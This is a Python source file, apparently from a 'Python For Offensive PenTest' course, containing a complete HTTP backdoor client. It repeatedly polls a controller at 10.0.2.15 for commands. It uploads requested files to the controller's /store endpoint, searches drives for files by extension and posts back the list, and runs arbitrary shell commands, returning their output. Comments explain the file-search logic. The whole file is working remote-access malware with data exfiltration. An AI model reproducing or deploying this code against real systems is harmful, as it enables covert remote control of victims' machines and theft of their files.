# Python For Offensive PenTest

# Searching for Content

import requests 
import subprocess 
import os
import time

while True: 

    req = requests.get('http://10.0.2.15')
    command = req.text
        
    if 'terminate' in command:
        break 

    elif 'grab' in command:
        grab,path=command.split('*')
        if os.path.exists(path):
            url = 'http://10.0.2.15/store'
            files = {'file': open(path, 'rb')}
            r = requests.post(url, files=files)
        else:
            post_response = requests.post(url='http://10.0.2.15', data='[-] Not able to find the file !' )
            



    elif 'search' in command:  # The Formula is  search <path>*.<file extension>  , for example let's say that we got search C:\\*.pdf
        # if we remove the first 7 character the output would C:\\*.pdf  which is basically what we need

        command = command[7:] # cut off the the first 7 character ,, output would be  C:\\*.pdf
        
        path,ext=command.split('*')  # split C:\\*.pdf into two sections, the first section (C:\\) will be stored in path variable and
                                     # the second variable (.pdf) will be stored in ext variable
        
        list = ''  # here we define a string where we will append our result on it
        '''
           os.walk is a function that will naviagate ALL the directoies specified in the provided path and returns three values:-

            dirpath is a string contains the path to the directory
            dirnames is a list of the names of the subdirectories in  dirpath
            files is a list of the files name in dirpath

            Once we got the files list, we check each file (using for loop), if the file extension was matching what we are looking for, then
            we add the directory path into list string. the  os.path.join represents a path relative for our file to
            the current directory and in our example it's the C:\\ directory

        '''
        

        for dirpath, dirname, files in os.walk(path):
            for file in files:
                if file.endswith(ext):
                    list = list + '\n' + os.path.join(dirpath, file)
                    
        requests.post(url='http://10.0.2.15', data= list )  # Send the search result
        





    else:
        CMD =  subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() )
        post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() )

    time.sleep(3)

    



